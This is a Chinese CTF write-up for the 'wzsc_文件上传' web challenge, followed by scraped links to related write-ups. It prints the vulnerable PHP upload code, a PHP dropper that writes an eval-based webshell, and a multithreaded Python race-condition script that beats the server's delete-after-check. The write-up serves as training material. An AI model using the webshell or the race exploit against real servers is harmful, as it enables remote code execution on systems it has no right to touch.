文章目录

  • 前言
  • 一、wzsc_文件上传
    • 1.题目
    • 2.答题

前言

文件上传漏洞(File Upload Vulnerability)是指攻击者通过某种方式绕过应用程序上传文件的安全检测机制,将恶意文件或脚本上传至目标服务器,达到执行任意恶意代码的目的。攻击者可以通过此漏洞窃取、篡改、删除或破坏网站数据,或对受害者发起其他形式的攻击。

文件上传漏洞可能出现在各种类型的Web应用程序中,包括电子商务、CMS、论坛、博客、社交网络和在线媒体等。攻击者通常会利用Web应用程序提供的文件上传功能,来上传恶意文件。这些文件可以是可执行文件、脚本、木马等,执行这些文件将会对目标服务器造成严重威胁。

文件上传漏洞的防范措施包括:

  • 对上传文件的大小、类型、格式等进行校验和限制。
  • 对上传文件的内容进行检测和过滤,确保不包含恶意代码。
  • 将上传文件存储在不同的目录或磁盘分区中,并设置适当的访问权限。
  • 定期审查和更新应用程序的安全设置,保持系统安全。
  • 对文件上传功能进行安全测试和漏洞扫描,及时发现和修复漏洞。

文件上传漏洞是一个普遍存在的网络安全问题。攻击者通过利用该漏洞,可以上传恶意文件,然后利用这些文件来执行攻击操作,例如在服务器上执行命令、修改数据等。

漏洞竞争是指攻击者和安全研究者之间的一场竞赛,攻击者试图利用漏洞并攻击系统,而安全研究者试图发现并修复漏洞。攻击者可能利用漏洞进行数据盗窃、恶意代码注入等攻击,而安全研究者则致力于发现和修复漏洞,以保护系统免受攻击。

文件上传漏洞可以被攻击者和安全研究者利用,攻击者可以上传恶意文件,但是安全研究者则可以利用文件上传漏洞来测试系统的安全性,以便发现和修复漏洞。

为了绕过漏洞竞争,攻击者通常会使用一些技巧,例如使用编码绕过上传规则、伪装文件类型、上传受限文件等。为了提高系统的安全性,安全研究者需要不断学习和掌握这些技巧,以便更好地发现和修复漏洞。

一、wzsc_文件上传

1.题目

2.答题

进入环境发现有个上传,先传个图片进去看看,上传后页面跳转到upload.php


猜测一下图片保存在upload路径下,试着访问图片,能正常访问。

然后试着上传shell,上传后发现不能访问,审计源码

<?php$allowtype = array("txt","jpeg","bmv","doc","docx","gif","png","jpg");$size = 10000000;$path = "./upload/";$filename = $_FILES['file']['name'];if (is_uploaded_file($_FILES['file']['tmp_name'])){if (!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){exit();}   } else {exit();}$newfile = $path.$filename;if ($_FILES['file']['error'] > 0){unlink($newfile);exit();}$ext = array_pop(explode(".",$_FILES['file']['name']));if (!in_array($ext,$allowtype)){unlink($newfile);exit();}
?>

审计代码发现对文件后缀进行白名单限制了,这里我们可以用竞争绕过

竞争原理

1.网站允许上传任意文件,然后检测文件中若有webshell,就删除文件;若不是指定类型文件,那么就使用unlink删除文件

2.在删除之前访问上传的php文件,从而执行上传文件中的php代码

上传代码如下

<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>

先利用bp一直post那个文件


使用burp suite配合脚本进行竞争

脚本如下:

import requests
import threading
import osclass RaceCondition(threading.Thread):def __init__(self):threading.Thread.__init__(self)self.url = 'http://61.147.171.105:49440/upload/a.php'self.uploadUrl = 'http://61.147.171.105:49440/upload/shell.php'def _get(self):print('try to call uploaded file...')r = requests.get(self.url)if r.status_code == 200:print('[*] create file shell.php success.')os._exit(0)def _upload(self):print('upload file...')rs = requests.get(self.uploadUrl)if rs.status_code == 200:print('[*] create file shell.php success.')os._exit(0)def run(self):while True:for i in range(5):self._get()for i in range(10):self._upload()self._get()if __name__ == '__main__':threads = 50for i in range(threads):t = RaceCondition()t.start()for i in range(threads):t.join()


可以看到shell已经被上传,用蚁剑连接


得到flag:cyberpeace{2389a9ca238f49ceba513ce06a896995}

【愚公系列】2023年06月 攻防世界-Web(wzsc_文件上传)相关推荐

  1. 【愚公系列】2023年06月 攻防世界-Web(i-got-id-200)

    文章目录 前言 一.i-got-id-200 1.题目 2.答题 前言 Perl 文件上传是一种使用Perl编程语言编写的文件上传脚本或程序,它可以将文件从本地计算机上传到 Web 服务器或远程服务器 ...

  2. 【愚公系列】2023年06月 攻防世界-Web(ez_curl)

    文章目录 前言 一.ez_curl 1.题目 2.答题 前言 Express是一个流行的Node.js Web框架,它提供了许多有用的功能来构建Web应用程序.其中之一是参数解析,它允许开发者解析HT ...

  3. 【愚公系列】2023年06月 攻防世界-Web(babyweb)

    文章目录 前言 1.SSRF 2.文件读取漏洞 一.babyweb 1.题目 2.答题 前言 1.SSRF SSRF(Server-Side Request Forgery,服务端请求伪造)是一种安全 ...

  4. 【愚公系列】2023年05月 攻防世界-Web(lottery)

    文章目录 前言 一.lottery 1.题目 2.答题 前言 dirsearch是一个用于Web服务器的爬虫工具,它可以快速地扫描网站的目录,并找出隐藏的文件和目录.dirsearch可以检测出许多常 ...

  5. 【愚公系列】2023年05月 攻防世界-Web(unseping)

    文章目录 前言 一.unseping 1.题目 2.答题 前言 反序列化漏洞是一种安全漏洞,存在于那些使用序列化技术的应用程序中.反序列化是将已序列化数据还原回对象的过程.攻击者可以通过构造恶意序列化 ...

  6. 【愚公系列】2023年05月 攻防世界-Web(shrine)

    文章目录 前言 一.shrine 1.题目 2.答题 前言 Flask是一个轻量级的Web应用程序框架,用于Python编程语言.它是基于Werkzeug WSGI工具箱和Jinja2模板引擎构建的. ...

  7. 【愚公系列】2023年05月 攻防世界-Web(FlatScience)

    文章目录 前言 一.FlatScience 1.题目 2.答题 前言 Robots协议,也称作robots.txt,是一种在Web站点中告诉搜索引擎蜘蛛哪些页面可以被访问的协议.该协议规定了机器人在访 ...

  8. 【愚公系列】2023年05月 攻防世界-Web(file_include)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数 一.file_include 1.题目 2.答题 总结 前言 1.文件包含漏洞 文件包含漏洞(File Inclusion ...

  9. 【愚公系列】2023年05月 攻防世界-Web(Web_php_include)

    文章目录 前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数 一.Web_php_include 1.题目 2.答题 2.1 伪协议解题 2.2 中国蚁剑 2.3 数据库写入 前言 1. ...

最新文章

  1. pycharm python脚本自动头文件注释
  2. RBAC权限设计实例(转)
  3. leetcode C++ 42. 接雨水 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图,计算按此排列的柱子,下雨之后能接多少雨水。 上面是由数组 [0,1,0,2,1,0,1,3,2,
  4. 采购订单收货后不能修改价格的增强
  5. 「每天一道面试题」String和StringBuilder、StringBuffer的区别
  6. Presto入门介绍
  7. 搭建一个jumpserver跳板机
  8. 计算机系统访问控制的功能,访问控制是为了限制访问主体对访问客体的访问权限,从而使计算机系统在合法范围内使用的安全措施,以下关于访问控制的叙述中,()是不正确的 - 信管网...
  9. 1.1 echo rem cd dir命令
  10. centos-7 charpter one
  11. LayaAir学习笔记
  12. python题目-判断素数
  13. java毕业设计TELL情感社交系统Mybatis+系统+数据库+调试部署
  14. 给网站添加SSL安全证书
  15. ffmpeg--异常打印
  16. 计蒜客 蒜头君的积木
  17. 线程的同步和异步理解
  18. android日历编程,Android日历控件PickTime代码实例
  19. HDOJ 5144 NPY and shot 简单物理
  20. shareSDK判断是否安装微博客户端、qq客户端不好使,或分享无法调起微博、qq客户端。

热门文章

  1. R 语言 安装DESeq2,dplyr 包遇到报错的彻底解决方案
  2. 1103平均分绩点(函数专题)
  3. 会声会影2020永久汉化补丁使用中常见问题及解决办法
  4. Pic Kit3.5仿真器的自动烧写功能
  5. Epson机械手程序开发(3)机械手报错时的处理
  6. 为什么选择做硬件而不是吃香的软件?
  7. Atlassian Crowd实现JIRA、Confluence、Bamboo和Fisheye and Crucible单点登录
  8. 【endnote】利用endnote批量修改参考文献格式
  9. 教你如何用TreeView树形菜单创建像CSDN左边那样的导航之一:如何安装配置TreeView
  10. 感人至深!13位走失老人因为他们安全回家!